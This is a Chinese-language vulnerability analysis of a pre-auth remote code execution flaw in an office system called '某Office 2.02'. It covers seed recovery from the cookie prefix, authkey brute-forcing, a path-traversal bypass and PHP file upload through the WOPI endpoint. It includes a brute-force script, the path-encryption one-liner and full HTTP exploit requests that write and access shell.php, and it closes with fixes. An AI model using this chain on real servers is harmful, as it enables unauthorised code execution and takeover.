某Office2.02前台RCE分析
字数 1719 2025-08-27 12:33:54
某Office2.02前台RCE漏洞分析与利用
漏洞概述
本文详细分析某Office2.02系统中存在的一个前台远程代码执行(RCE)漏洞。该漏洞源于系统安装过程中随机数种子固定问题,导致安全密钥(authkey)可被预测和爆破,进而通过加密参数控制实现文件上传和代码执行。
漏洞环境搭建
- 源代码下载:获取某Office2.02的源码文件
- 环境准备:启动LAMP环境,将源码放入web目录
- 安装过程:
- 访问web目录进入安装界面
- 按照提示完成安装步骤
- 数据库信息和管理员信息使用默认设置
- 关键配置:
- 访问
admin.php?mod=setting&operation=sec - 必须开启用户登录验证码,否则无法获取所需Cookie
- 访问
漏洞原理分析
随机数种子固定问题
漏洞核心位于install/index.php文件(安装后自动删除),关键代码片段:
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['cookie']['cookiepre'] = random(4).'_';
random()函数定义于install/include/install_function.php:
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
关键问题:
- 随机数生成器未重新播种,导致所有随机数基于同一种子生成
- 在同一进程中,相同种子生成的
mt_rand()值固定不变
通过Cookie获取种子
- Cookie前缀可获取:
$_config['cookie']['cookiepre']由random(4)生成 - 爆破种子流程:
- 使用
php_mt_seed工具爆破可能的随机数种子 - 通过已知的Cookie前缀(如"gGyk")反向推导种子
- 生成所有可能的
random(10)结果作为authkey后缀
- 使用
authkey的作用与验证
-
authkey功能:
- 用于
authcode()流加密算法 - 可加密重要参数,控制加密数据
- 用于
-
验证方法:
- 在
core/function/function_seccode.php中找到可控明文点:
dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);- 通过Cookie获取
$idhash和对应密文 - 爆破前6位(范围0x000000-0xffffff)与后缀组合解密密文
- 在
完整爆破authkey流程
- 通过Cookie前缀爆破随机数种子
- 用种子生成
random(10),得到所有可能的authkey后缀 - 查看Cookie获取
$idhash和对应密文 - 用生成的后缀爆破前6位,解密密文验证正确性
- 比较计算结果与获取的密文,匹配则获取authkey
漏洞利用验证
获取authkey
-
准备爆破数据:
- 使用脚本将Cookie前缀转换为
php_mt_seed可处理格式 - 示例输出格式:
0 61 0 61 ... 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61
- 使用脚本将Cookie前缀转换为
-
生成种子文件:
- 使用
php_mt_seed工具暴力破解可能的种子
- 使用
-
验证脚本:
<?php // 省略部分代码... $seeds = explode("\n", file_get_contents('seed.txt')); for ($i = 0; $i < count($seeds); $i++) { if(preg_match('/= (\d+) /', $seeds[$i], $matach)) { mt_srand(intval($matach[1])); $authkey = random(10); if(random(4) == $pre){ $res = crack($string, $authkey, $seccode); if($res) { echo "authkey found: ".$res; exit(); } } } } // 省略部分代码... -
成功获取:最终得到authkey,如
3ccd48TRC0BU9NnD
文件上传利用
-
寻找利用点:
- 全局搜索
dzzdecode找到多处可利用点 - 示例文件:
core/api/wopi/index.php
- 全局搜索
-
文件上传流程:
- 调用
Wopi::PUTFile - 通过
IO::SetFileContent写入文件 - 使用
..././绕过路径清理(\n,\r,../被替换为空)
- 调用
-
加密Path参数:
- 使用authkey加密上传路径:
echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3ccd48TRC0BU9NnD'),'ENCODE')); -
构造攻击数据包:
POST /dzz/core/api/wopi/index.php?access_token=1&action=contents&path=Y2RhNUl5N09ZVW8vaGNkV0tEcU1qZzc0bGtLWGlIVXZEdjY3eUxmaXFiR3k1VDhtNUJXSFZnZHF1Y3I1VGZCcmtDNXljVGJaMVFnSWlNVENzR1U= HTTP/1.1 Host: localhost ... [其他头部信息] ... Content-Length: 18 Content-Type: application/x-www-form-urlencoded <?php phpinfo();?> -
访问上传的shell:
POST /dzz/shell.php HTTP/1.1 Host: localhost ... [其他头部信息] ... Content-Length: 18 Content-Type: application/x-www-form-urlencoded <?php phpinfo();?>
总结与防护建议
-
漏洞根源:
- 系统大量借用Discuz代码,继承了相同的随机数安全问题
- 安装过程中的随机数种子固定导致authkey可预测
-
审计建议:
- 不应忽视任何文件,包括安装后删除的文件
- 检查系统是否还存在Discuz的其他历史漏洞
- 注意
defined限制的绕过可能性
-
修复方案:
- 修改
random()函数,确保每次生成随机数前重新播种 - 加强authkey的生成复杂度
- 对文件上传路径进行更严格的过滤
- 修改
-
其他潜在问题:
- GitHub Issues中提到的
defined限制绕过可能性 - 可能存在远程文件包含漏洞导致RCE
- GitHub Issues中提到的